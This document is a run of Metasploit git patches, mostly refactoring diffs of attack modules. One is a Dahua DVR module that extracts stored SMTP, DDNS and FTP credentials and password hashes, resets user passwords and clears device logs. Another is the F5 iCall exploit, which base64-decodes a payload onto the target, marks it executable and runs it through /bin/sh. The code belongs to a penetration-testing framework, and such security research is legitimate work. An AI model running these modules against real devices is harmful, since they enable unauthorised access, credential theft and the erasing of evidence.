"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + user = "root" + pass = " w" + # user8pwhash = "4WzwxXxM" #888888 + # user6pwhash = "sh15yfFM" #666666 + # useradminpwhash = "6QNMIQGe" #admin + connect + sock.put(u1) + data = sock.recv(8) + disconnect + if data == dvr_resp + print_good("DVR FOUND: @ #{rhost}:#{rport}!") + report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") + connect + sock.put(version) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + ver = Regexp.last_match[1] + print_status("Version: #{ver} @ #{rhost}:#{rport}!") + end + + sock.put(sn) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + serial = Regexp.last_match[1] + print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + end + + sock.put(email) + if data == sock.get(1024).split('&&') + print_status("Email Settings: @ #{rhost}:#{rport}!") + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if mailhost == Regexp.last_match[1].split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + print_good("MailServer: #{mailserver}") + # destemail = "#{data[1]}" if !mailhost[1].nil? + if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? + end + end end + end - def run_host(ip) - usercount = 0 - u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" - version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + sock.put(ddns) + if data == sock.get(1024) + data = data.split(/&&[0-1]&&/) + data.each_with_index do |val, index| + if index > 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") unless val.nil? + print_status(" DDNS Server: #{ddns_server}") unless val.nil? + print_status(" DDNS Port: #{ddns_port}") unless val.nil? + print_status(" Domain: #{ddns_domain}") unless val.nil? + print_good(" Username: #{ddns_user}") unless val.nil? + print_good(" Password: #{ddns_pass}") unless val.nil? + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 - user = "root" - pass = " w" - # user8pwhash = "4WzwxXxM" #888888 - # user6pwhash = "sh15yfFM" #666666 - # useradminpwhash = "6QNMIQGe" #admin - connect - sock.put(u1) - data = sock.recv(8) - disconnect - if data == dvr_resp - print_good("DVR FOUND: @ #{rhost}:#{rport}!") - report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - connect - sock.put(version) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - ver = $1 - print_status("Version: #{ver} @ #{rhost}:#{rport}!") - end + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + end + end + end + end - sock.put(sn) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - serial = $1 - print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") - end + sock.put(nas) + if data == sock.get(1024) + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = Regexp.last_match[1].unpack('C*').join('.') + port = Regexp.last_match[2].unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ + ftpuser = Regexp.last_match[1] + ftppass = Regexp.last_match[2] + print_good(" FTP User: #{ftpuser}") + print_good(" FTP Password: #{ftppass}") + if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 + report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? + end + end + end - sock.put(email) - if data == sock.get(1024).split('&&') - print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ - if mailhost == $1.split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? - end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - print_good("MailServer: #{mailserver}") - # destemail = "#{data[1]}" if !mailhost[1].nil? - if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? - end - end - end - end - - sock.put(ddns) - if data == sock.get(1024) - data = data.split(/&&[0-1]&&/) - data.each_with_index { |val, index| - if index > 0 - val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") unless val.nil? - print_status(" DDNS Server: #{ddns_server}") unless val.nil? - print_status(" DDNS Port: #{ddns_port}") unless val.nil? - print_status(" Domain: #{ddns_domain}") unless val.nil? - print_good(" Username: #{ddns_user}") unless val.nil? - print_good(" Password: #{ddns_pass}") unless val.nil? - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 - - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - end - end - } - end - - sock.put(nas) - if data == sock.get(1024) - print_status("Nas Settings @ #{rhost}:#{rport}!:") - server = '' - port = '' - if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ - server = $1.unpack('C*').join('.') - port = $2.unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") - end - if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ - ftpuser = $1 - ftppass = $2 - print_good(" FTP User: #{ftpuser}") - print_good(" FTP Password: #{ftppass}") - if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 - report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? - end - end - end - - sock.put(channels) - data = sock.get(1024).split('&&') - disconnect - if data.length > 1 - print_status("Camera Channels @ #{rhost}:#{rport}!:") - data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } - end - connect - sock.put(users) - if data == sock.get(1024).split('&&') - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") - data.each { |val| - usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" - value = pass.split(":") - username = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") - # Write the dahua hash to the database - hash = "#{rhost} #{username}:$dahua$#{md5hash}" - report_hash(ip, rport, user, hash) - # Write the vulnerability to the database - # unless reported_vuln - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'dvr', - name: 'Dahua Authentication Password Hash Exposure', - info: "Obtained password hash for user #{username}: #{md5hash}", - refs: :references - ) - } - end - sock.put(groups) - if data == sock.get(1024).split('&&') - print_status("User Groups: @ #{rhost}:#{rport}!") - data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } - end - if datastore['RESET'] - userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] - u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring - sock.put(u1) - # data = sock.get(1024) - sock.put(u2) - # data = sock.get(1024) - sock.put(u3) - data = sock.get(1024) - sock.put(u1) - if data == sock.get(1024) - print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") - end + sock.put(channels) + data = sock.get(1024).split('&&') + disconnect + if data.length > 1 + print_status("Camera Channels @ #{rhost}:#{rport}!:") + data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } + end + connect + sock.put(users) + if data == sock.get(1024).split('&&') + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each do |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + value = pass.split(":") + username = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{username}:$dahua$#{md5hash}" + report_hash(ip, rport, user, hash) + # Write the vulnerability to the database + # unless reported_vuln + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{username}: #{md5hash}", + refs: :references + ) + end + end + sock.put(groups) + if data == sock.get(1024).split('&&') + print_status("User Groups: @ #{rhost}:#{rport}!") + data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } + end + if datastore['RESET'] + userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring + sock.put(u1) + # data = sock.get(1024) + sock.put(u2) + # data = sock.get(1024) + sock.put(u3) + data = sock.get(1024) + sock.put(u1) + if data == sock.get(1024) + print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + end # elsif (datastore['ACTION'] == "DELETE") # u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" @@ -282,91 +282,91 @@ class Metasploit3 < Msf::Auxiliary # sock.put(1024) # print_good("ADDED USER!: user #{datastore['USERNAME']}'s password is #{datastore['PASSWORD']}") # -# else - end +# else + end - if datastore['CLEAR_LOGS'] - sock.put(clear_logs) - sock.put(clear_logs2) - print_good("LOGS CLEARED! @ #{rhost}:#{rport}") - end - disconnect - end - end + if datastore['CLEAR_LOGS'] + sock.put(clear_logs) + sock.put(clear_logs2) + print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + end + disconnect + end + end - def report_hash(ip, rport, user, hash) - service_data = { - address: ip, - port: rport, - service_name: 'dahua_dvr', - protocol: 'tcp', - workspace_id: myworkspace_id - } + def report_hash(ip, rport, user, hash) + service_data = { + address: ip, + port: rport, + service_name: 'dahua_dvr', + protocol: 'tcp', + workspace_id: myworkspace_id + } - credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: hash, - private_type: :nonreplayable_hash, - jtr_format: 'dahua_hash', - username: user - }.merge(service_data) + credential_data = { + module_fullname: :fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'dahua_hash', + username: user + }.merge(service_data) - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) - create_credential_login(login_data) - end + create_credential_login(login_data) + end - def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - service_data = { - address: ddns_server, - port: ddns_port, - service_name: 'ddns settings', - protocol: 'tcp', - workspace_id: myworkspace_id - } + def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + service_data = { + address: ddns_server, + port: ddns_port, + service_name: 'ddns settings', + protocol: 'tcp', + workspace_id: myworkspace_id + } - credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: ddns_pass, - private_type: :password, - username: ddns_user - }.merge(service_data) + credential_data = { + module_fullname: :fullname, + origin_type: :service, + private_data: ddns_pass, + private_type: :password, + username: ddns_user + }.merge(service_data) - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) - create_credential_login(login_data) - end + create_credential_login(login_data) + end - def report_email_cred(mailserver, rport, muser, mpass) - service_data = { - address: mailserver, - port: rport, - service_name: 'email settings', - protocol: 'tcp', - workspace_id: myworkspace_id - } + def report_email_cred(mailserver, rport, muser, mpass) + service_data = { + address: mailserver, + port: rport, + service_name: 'email settings', + protocol: 'tcp', + workspace_id: myworkspace_id + } - credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: mpass, - private_type: :password, - username: muser - }.merge(service_data) + credential_data = { + module_fullname: :fullname, + origin_type: :service, + private_data: mpass, + private_type: :password, + username: muser + }.merge(service_data) - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) - create_credential_login(login_data) - end + create_credential_login(login_data) + end end From e107ec2d170ce73d5455441bffbd920ef75e65fb Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 17 Nov 2015 13:30:46 -0600 Subject: [PATCH 1238/2172] Change fail to fail_with, fix typo --- modules/auxiliary/admin/atg/atg_client.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index 18e5334c6d..9962d57c5b 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Veeder-Root Automatic Tank Gauge (ATG) Administrative Client', 'Description' => %q{ This module acts as a simplistic administrative client for interfacing - with Veeder-Root Automatic Tang Gauges (ATGs) or other devices speaking + with Veeder-Root Automatic Tank Gauges (ATGs) or other devices speaking the TLS-250 and TLS-350 protocols. This has been tested against GasPot, a honeypot meant to simulate ATGs; it has not been tested against anything else, so use at your own risk. @@ -170,12 +170,18 @@ class Metasploit3 < Msf::Auxiliary def setup # ensure that the specified command is implemented for the desired version of the TLS protocol - fail "#{action.name} not defined for #{protocol}" unless action.opts.keys.include?(protocol_opt_name) + unless action.opts.keys.include?(protocol_opt_name) + fail_with(Failure::BadConfig, "#{action.name} not defined for #{protocol}") + end # ensure that the tank number is set for the commands that need it - fail "TANK_NUMBER #{tank_number} is invalid" if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99) + if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99) + fail_with(Failure::BadConfig, "TANK_NUMBER #{tank_number} is invalid") + end - fail "Invalid timeout #{timeout} -- must be > 0" unless timeout > 0 + unless timeout > 0 + fail_with(Failure::BadConfig, "Invalid timeout #{timeout} -- must be > 0") + end end def get_response(request) From dcfb3b5fbcec639d18563007671548de0a391482 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 17 Nov 2015 13:01:06 -0800 Subject: [PATCH 1239/2172] Let Filedropper handle removal --- modules/exploits/linux/http/f5_icall_cmd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 712a262028..07873aea3d 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote # phase 1: create iCall script to create file with payload, execute it and remove it. register_file_for_cleanup @payload_path - shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path}) + shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path}) cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"}) arg_max = datastore['ARG_MAX'] From 3396fb144fc703aac9781c1ba159dee8a09f2bb8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 17 Nov 2015 14:16:29 -0800 Subject: [PATCH 1240/2172] A little more simplification/cleanup --- modules/exploits/linux/http/f5_icall_cmd.rb | 65 +++++++-------------- 1 file changed, 22 insertions(+), 43 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 07873aea3d..6e1ba7ed38 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -105,24 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] ) - if res && res.code == 200 + if res return res - elsif res - print_error("HTTP/#{res.proto} #{res.code} #{res.message}") else vprint_error('No response') end false end - # cmd is valid tcl script - def create_script(cmd) - scriptname = Rex::Text.rand_text_alpha_lower(5) + def create_script(name, cmd) create_xml = build_xml do |xml| xml['scr'].create(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item name end xml.definitions(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first @@ -130,31 +126,30 @@ class Metasploit3 < Msf::Exploit::Remote end end end - send_soap_request(create_xml) ? scriptname : false + send_soap_request(create_xml) end - def delete_script(scriptname) + def delete_script(script_name) delete_xml = build_xml do |xml| xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item script_name end end end send_soap_request(delete_xml) end - def script_exists(scriptname) + def script_exists(script_name) exists_xml = build_xml do |xml| xml['scr'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(exists_xml) - res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}") + res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}") end - def create_handler(scriptname, interval) - handler_name = Rex::Text.rand_text_alpha_lower(5) + def create_handler(handler_name, script_name, interval) handler_xml = build_xml do |xml| xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do @@ -163,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote end xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item script_name end xml.intervals(LONG_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first @@ -171,7 +166,8 @@ class Metasploit3 < Msf::Exploit::Remote end end end - send_soap_request(handler_xml) ? handler_name : false + res = send_soap_request(handler_xml) + res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") end def delete_handler(handler_name) @@ -201,26 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable - check_xml = build_xml do |xml| - xml['scr'].create(SOAPENV_ENCODINGSTYLE) do - xml.scripts(STRING_ATTRS) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item - end - xml.definitions(STRING_ATTRS) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item - end - end - end - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'data' => check_xml, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - ) + res = create_script('', '') if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 @@ -233,8 +210,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. - register_file_for_cleanup @payload_path - shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path}) cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"}) @@ -247,20 +222,24 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Uploading payload...') - unless (script = create_script(cmd)) + script_name = Rex::Text.rand_text_alpha_lower(5) + create_script_res = create_script(script_name, cmd) + unless create_script_res && create_script_res.code == 200 print_error("Upload script failed") return false end - unless script_exists(script) + unless script_exists(script_name) print_error("create_script() run successfully but script was not found") return false end + register_file_for_cleanup @payload_path + interval = datastore['INTERVAL'] # phase 2: create iCall Handler, that will actually run the previously created script print_status('Creating trigger...') - handler = create_handler(script, interval) - unless handler + handler_name = Rex::Text.rand_text_alpha_lower(5) + unless create_handler(handler_name, script_name, interval) print_error('Script uploaded but create_handler() failed') return false end @@ -268,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote sleep(interval) # small delay, just to make sure print_status('Trying cleanup...') - if delete_handler(handler) && delete_script(script) + if delete_handler(handler_name) && delete_script(script_name) print_status('Cleanup finished with no errors') else print_error('Error while cleaning up') From e21bf80ae48fb71f2309ef9660246a30b972ce49 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 17 Nov 2015 14:17:59 -0800 Subject: [PATCH 1241/2172] Squash a rogue space --- modules/exploits/linux/http/f5_icall_cmd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 6e1ba7ed38..37cf5aefa5 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -223,7 +223,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Uploading payload...') script_name = Rex::Text.rand_text_alpha_lower(5) - create_script_res = create_script(script_name, cmd) + create_script_res = create_script(script_name, cmd) unless create_script_res && create_script_res.code == 200 print_error("Upload script failed") return false From 1fe8bc9cea4a838c9cdde8227ed414180c793f0c Mon Sep 17 00:00:00 2001 From: sammbertram <sammbertram@users.noreply.github.com> Date: Wed, 18 Nov 2015 11:17:57 +0000 Subject: [PATCH 1242/2172] Added a SLEEP_TIME option Added a SLEEP_TIME options which is the number of seconds to sleep prior to executing the initial IEX request. This is useful in cases where a machine would have to establish a VPN connection, initiated by the user, after a reboot. Alternatively, as opposed to a sleep time, it could have a loop that attempts to retry for a certain period of item. --- 